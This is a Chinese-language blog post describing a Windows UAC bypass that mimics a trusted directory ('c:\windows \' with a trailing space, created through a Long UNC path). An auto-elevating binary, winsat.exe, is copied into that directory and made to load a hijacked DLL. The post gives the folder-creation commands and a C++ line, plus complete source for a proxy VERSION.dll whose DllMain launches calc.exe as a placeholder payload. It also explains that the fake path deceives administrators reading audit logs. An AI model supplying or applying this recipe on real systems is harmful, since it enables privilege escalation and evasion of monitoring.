从@CE2Wells的博客学到的一个技巧,通过模拟可信目录能够绕过UAC,本文将对结合自己的经验对这个方法进行介绍,添加自己的理解,分享测试中的细节
例如:
type putty.exe > "\\?\C:\Windows\System32\calc.exe "
如下图
这个方法同样适用于文件夹
例如:
md "\\?\c:\windows "
新创建的文件夹能够欺骗系统,将其识别为另一个文件夹
如下图
需要满足以下三个条件:
"c:\windows\system32"
)执行例如,普通用户权限能够在c盘下创建文件夹
exe程序如果在启动过程中需要加载dll,默认先搜索exe程序的同级目录
综上,满足了绕过UAC的所有条件
实现的思路如下:
c:\windows\system32\winsat.exe
"c:\windows \"
,并将winsat.exe复制到该目录c:\windows\system32\winmm.dll
相同,并命名为"c:\windows \system32\WINMM.dll"
"c:\windows \system32\winsat.exe"
,将自动绕过UAC,加载"c:\windows \system32\WINMM.dll"
,执行payload这些文件的特征之一是manifest中的autoElevate属性为true
可以借助powershell实现自动化搜索
界面化的工具使用如下图
"c:\windows \"
C++的实现代码如下:
CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);
通过命令行实现的命令如下:
md "\\?\c:\windows "
这里可以使用Process Monitor,筛选出启动过程中结果为”NAME NOT FOUND”的记录,如下图
因此,可供利用的dll名称如下:
任选一个即可
这里可以使用exportstoc
例如这里选择VERSION.dll
,劫持的原dll路径为c:\\Windows\\system32\\version.dll
,如下图
添加payload为启动计算器,最终的代码如下:
#include "stdafx.h"
#include <iostream>
#include <windows.h>
using namespace std;
#pragma comment (linker, "/export:GetFileVersionInfoA=c:\\windows\\system32\\version.GetFileVersionInfoA,@1")
#pragma comment (linker, "/export:GetFileVersionInfoByHandle=c:\\windows\\system32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment (linker, "/export:GetFileVersionInfoExW=c:\\windows\\system32\\version.GetFileVersionInfoExW,@3")
#pragma comment (linker, "/export:GetFileVersionInfoSizeA=c:\\windows\\system32\\version.GetFileVersionInfoSizeA,@4")
#pragma comment (linker, "/export:GetFileVersionInfoSizeExW=c:\\windows\\system32\\version.GetFileVersionInfoSizeExW,@5")
#pragma comment (linker, "/export:GetFileVersionInfoSizeW=c:\\windows\\system32\\version.GetFileVersionInfoSizeW,@6")
#pragma comment (linker, "/export:GetFileVersionInfoW=c:\\windows\\system32\\version.GetFileVersionInfoW,@7")
#pragma comment (linker, "/export:VerFindFileA=c:\\windows\\system32\\version.VerFindFileA,@8")
#pragma comment (linker, "/export:VerFindFileW=c:\\windows\\system32\\version.VerFindFileW,@9")
#pragma comment (linker, "/export:VerInstallFileA=c:\\windows\\system32\\version.VerInstallFileA,@10")
#pragma comment (linker, "/export:VerInstallFileW=c:\\windows\\system32\\version.VerInstallFileW,@11")
#pragma comment (linker, "/export:VerLanguageNameA=c:\\windows\\system32\\version.VerLanguageNameA,@12")
#pragma comment (linker, "/export:VerLanguageNameW=c:\\windows\\system32\\version.VerLanguageNameW,@13")
#pragma comment (linker, "/export:VerQueryValueA=c:\\windows\\system32\\version.VerQueryValueA,@14")
#pragma comment (linker, "/export:VerQueryValueW=c:\\windows\\system32\\version.VerQueryValueW,@15")
BOOL WINAPI DllMain(HINSTANCE hInst,DWORD reason,LPVOID)
{
system("start calc.exe");
return true;
}
将其编译成dll,另存为"c:\windows \system32\VERSION.dll"
,
命令行下启动需要绝对路径:"c:\windows \system32\winsat.exe"
注:
这里不可以使用短文件名(短文件名通过"dir /x"
获得)
1、可供利用的位置不唯一
在我的测试系统(Win7 x64)中,可供利用的exe有39个,可供利用的dll也有很多
2、对于Long UNC这种文件夹还有其他形式
例如:
"\\?\C:\Windows "
"."
(最少两个): "\\?\C:\Windows.."
但其他形式的文件夹无法用来绕过UAC
3、使用Long UNC创建伪造的文件夹能够欺骗“粗心的管理员”
例如系统开启Windows command line process auditing
,记录程序运行的参数
如下图
肉眼很难分辨
本文对通过模拟可信目录绕过UAC的方法进行分析,分享测试中的细节
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.